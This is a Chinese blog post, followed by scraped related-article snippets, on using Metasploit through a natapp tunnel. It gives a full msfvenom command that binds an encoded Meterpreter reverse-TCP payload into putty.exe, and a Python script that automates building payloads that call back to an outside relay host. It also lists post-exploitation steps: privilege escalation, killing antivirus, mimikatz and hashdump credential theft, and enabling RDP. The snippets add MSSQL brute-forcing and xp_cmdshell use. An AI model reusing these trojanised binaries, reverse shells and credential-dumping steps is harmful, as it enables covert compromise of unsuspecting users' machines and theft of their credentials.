基于MetaSploit内网穿透渗透测试

自己在无聊捣鼓windows渗透的时候想到以往都是基于内网渗透,想要更加自由地进行渗透就需要内网穿透实现可以任意控制网段主机,同时也将端口转发作为自己的跳板。集成的脚本是考虑到在渗透的时候需要开启的工具繁多,所以尽可能能够一键开启工具,并且半自动化部署,可以优化前期的准备。

 

本文分成三个模块

·利用natapp进行内网穿透
·利用msfvenom生成后门渗透
·半自动化脚本进行优化

利用natapp进行内网穿透

 
首先需要下载一个工具用于内网穿透,内网穿透主要是利用远程服务器将tcp连接转发到自己的电脑上。这样子就可以实现不同网段内计算机进行tcp连接。
 
我使用natapp工具进行内网穿透,注册并且免费获得自己的隧道。
本地地址填写127.0.0.1表示本机
本地端口可以填写空闲端口
authtoken用于开启natapp服务的code
下载对应版本的natapp工具后,在命令行输入./natapp authtoken=xxxxxx
打开后就可以看到自己的转发地址和端口,例如为server.natappfree.cc:38100
这时候就完成了端口转发,保持服务开启即可。

 

利用msfvenom生成后门渗透

 
需要将自己的payload与任意exe文件进行捆绑,当目标点击使用我们捆绑后的exe后门就会自动反弹shell。
采用windows/meterpreter/reverse_tcp ,这是一个常用的windows tcp反弹payload。
比较常用的exe软件例如浏览器,ssh等其他用户长期开启软件,示例中用putty.exe为示范
在终端输入如下命令

    msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=8998 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe

    -a 表示目标机器架构
    --platform 表示系统平台
    -x 表示捆绑软件
    -p表示paylaod
    lhost和lport 输入之前内网穿透的ip和port
    -i 表示编码次数,编码次数越多被检测的风险越大
    -o 表示输出文件的位置和名字

其他参数可以使用msfvenom –h 查看相应参数
当目标打开puttyX.exe后我们在msfconsole上会监听到,就完成了前期的渗透。

 

半自动化脚本进行优化

 
由于msfvenom在每次生成文件都需要指定一系列参数,以及natapp还需要打开,最终还要打开msf进行反弹shell的监听,我尝试将三者结合在一起。就编写了一个简单的半自动化脚本,只需要输入要捆绑软件的位置,natapp转发的端口,编码次数,就可以直接生成payload文件,并且自动打开端口转发和打开msfconsole控制台。只能说是简单地集成下。
 
以下是文件的目录
 

natapp.sh和msfconsole.sh写了一句话命令用于打开natapp和msfconsole
 
startAttack.py文件主要代码如下

    import os
    import webbrowser

    while True:
        #banner
        print(‘‘‘
        This Script is for attacking prepare
        --------------------------------------------------------------------------
        ___________              ___ ___                __
        \_   _____/__________   /   |   \_____    ____ |  | __ ___________  ______
         |    __)/  _ \_  __ \ /    ~    \__  \ _/ ___\|  |/ // __ \_  __ \/  ___/
         |     \(  <_> )  | \/ \    Y    // __ \\  \___|    <\  ___/|  | \/\___ \
         \___  / \____/|__|     \___|_  /(____  /\___  >__|_ \\___  >__|  /____  >
             \/                       \/      \/     \/     \/    \/           \/
        --------------------------------------------------------------------------
        ‘‘‘)

        #Open new terminal :natapp
        print"[+]Open NAT service"
        os.system(‘open -a Terminal.app natapp.sh‘)

        #Generate Payload
        source_path=raw_input(‘Program path:‘).strip()
        host=‘server.natappfree.cc‘#raw_input(‘IP:‘).strip()
        port=raw_input(‘PORT:‘).strip()
        code_time=raw_input(‘Code Times(3):‘).strip()
        if len(source_path)!=0 and len(port)!=0 and len(port)!=0:
            if len(code_time)==0:
                code_time=‘3‘

        print(
            ‘‘‘
        ***************************************
            Source_path:%s\n
            IP:%s\n
            PORT:%s\n
            Code Times:%s\n
            ‘‘‘
        )%(source_path,host,port,code_time)

        #confirm info
        flag=raw_input(‘(Y/N) ‘).strip()
        if flag==‘Y‘ or flag==‘y‘:
            print‘‘‘
            [+]Start Prepare attack. Open all tools. 3.2.1....
            ‘‘‘
            cmd_line=‘msfvenom -a x86 --platform windows -x %s -k -p windows/meterpreter/reverse_tcp lhost=%s lport=%s -e x86/shikata_ga_nai -i %s -b "\\x00" -f exe -o /Users/steven/Desktop/X.exe‘%(source_path,host,port,code_time)
            # output = os.popen(cmd_line, ‘r‘)
            # print output.read()
            os.system(cmd_line)

            #Open new terminal :Msfconsole
            os.system(‘open -a Terminal.app msfconsole.sh‘)

            print‘‘‘
        ***************************************
            Open msfconsole....
            Open browser.Url:http://www.objectif-securite.ch/en/ophcrack.php

            1.getuid\getsystem
            2.background
            3.use exploit/windows/local/ask
              set session 1
              exploit
            (i.run killav)
            4.load mimikatz(msv / kerberos / wdigest / livessp)
            5.run post/windows/gather/smart_hashdump
            6.run post/windows/manage/enable_rdp

            ‘‘‘
            # webbrowser.open("http://www.objectif-securite.ch/en/ophcrack.php")
            # webbrowser.open("https://www.jianshu.com/p/6535203977c4")
            # webbrowser.open("https://natapp.cn")

            break
        else:
            continue

效果如下

 

 
这次渗透只是采用了非常传统的payload进行测试,集成脚本也没有优化都是随手撸出来一个。在脚本上肯定还有优化的地方和潜力,payload也可以多添加进行选择。以上都在日常无聊把玩中顺手弄的,如有不足还要多多指教。

原文地址:http://blog.51cto.com/13620939/2084232

时间: 2024-10-07 05:40:59

基于MetaSploit内网穿透渗透测试的相关文章

内网穿透测试

个人用ngrok小工具做一个内网穿透测试,原理就是反向代理 http://531699aa.ngrok.io/proWms/prowmsapi/oms/receiveStockOutOrder 原文地址:http://blog.51cto.com/9381188/2104019

一款好用的内网穿透工具,拯救没有公网IP的你

越来越多的用户没有自己的独立公网IP,在发布一些应用或者网站到外网的时候就是一件很麻烦的事情.请注意,我说的独立公网IP并不是说一定要静态公网IP.拨号上网动态IP也不一定不可以.我们要的就是网关出口一定要是公网IP,假如你的网关路由器WAN口是一个内网IP肯定不行.说明一点,ipv4 的内网IP 保留范围: Class A 10.0.0.0-10.255.255.255.Class B 172.16.0.0-172.31.255.255.Class C 192.168.0.0-192.168.

网络通: 免费一键内网穿透 方便配置

越来越多的用户没有自己的独立公网IP,在发布一些应用或者网站到外网的时候就是一件很麻烦的事情.请注意,我说的独立公网 IP并不是说一定要静态公网IP.拨号上网动态IP也不一定不可以.我们要的就是网关出口一定要是公网IP,假如你的网关路由器WAN 口是一个内网IP肯定不行.说明一点,ipv4 的内网IP 保留范围: Class A 10.0.0.0-10.255.255.255.Class B 172.16.0.0- 172.31.255.255.Class C 192.168.0.0-192.1

内网穿透新章法 serveo

非常非常适合临时对外演示的方案 步骤如下 1.本地起一个测试的web服务 /Users/mac/venv/typeidea/bin/python /Users/mac/PycharmProjects/typeidea-env/typeidea/manage.py runserver 8000 输出如下 System check identified no issues (0 silenced). July 29, 2019 - 17:52:55 Django version 2.2.3, usi

内网劫持渗透新姿势:MITMf简要指南

声明:本文具有一定攻击性,仅作为技术交流和安全教学之用,不要用在除了搭建环境之外的环境. 0×01 题记 又是一年十月一,想到小伙伴们都纷纷出门旅游,皆有美酒佳人相伴,想到这里,不禁潸然泪下.子曰:"长得丑就要多读书!"于是有了这篇文章. 0×02 简要介绍 这篇文章的主要目的是介绍一下一个最新的中间人攻击测试框架 – MITMf.工具的作者是byt3bl33d3r,是基于代理工具sergio-proxy修改而来.这里是工具的地址: https://github.com/byt3bl3

ASA的twice-nat将互联网访问的源地址转换为内网接口地址测试

一.测试拓扑 二.测试思路 不考虑网络拓扑的合理性,只是考虑网络是否可通 外网访问内部服务器在防火墙上映射的公网地址不通是因为R1的默认路由指向的不是防火墙,出现了非对称路由问题,导致TCP连接来回路径不一致而会话失败 如果把外网访问内部服务器的源地址转换为防火墙内网接口地址,则不会出现非对称路由问题 三.基本配置 路由器Server: interface FastEthernet0/0     ip address 192.168.1.8 255.255.255.0     no shutip

SSH反向隧道的内网穿透

环境如下: A机器两块网卡eth0(192.168.0.173).eth1(192.168.100.1),eth0可以上外网,eth1仅仅是内部网络,B机器只有eth1(192.168.100.3),和A机器eth1可以通信互联,外网无法ssh进入B主机,可以使用ssh的反向隧道实现. A: 1.首先在A 上编辑sshd 的配置文件/etc/ssh/sshd_config,将GatewayPorts 开关打开: vim /etc/ssh/sshd_config GatewayPorts yes

内网穿透工具Tunna和reDuh

1.1reDuh 下载地址:https://github.com/sensepost/reDuh 1.reDuh使用条件 (1)获取目标服务器webshell,且可以上传reDuh服务端对应脚本文件. (2)知道目标服务器开放的内网端口,如远程桌面的端口是3389. (3)目标服务器网络做了端口策略限制,只允许外部访问内网的80等特定端口. 2. reDuh使用命令 (1)本地具备java环境,可以使用pentestbox自带java环境 java -jar reDuhClient.jar  h

攻击客户端PC通过SA权限,到内网域渗透系类

整体框架图 利用msf use  auxiliary/scanner/portscan/tcp 可以进行扫一些相关的端口. 发现1433端口以后,进行对mssql尝试进行暴力破解 Mssql_login 破解完以后(这个破解也主要看字典)进行mssql自己的特性,xp_cmdshell进行命令操作 Use Auxiliary/scanner/mssql/mssql_exec Set  rhost ip Set username sa Set password 密码 Set cmd whoami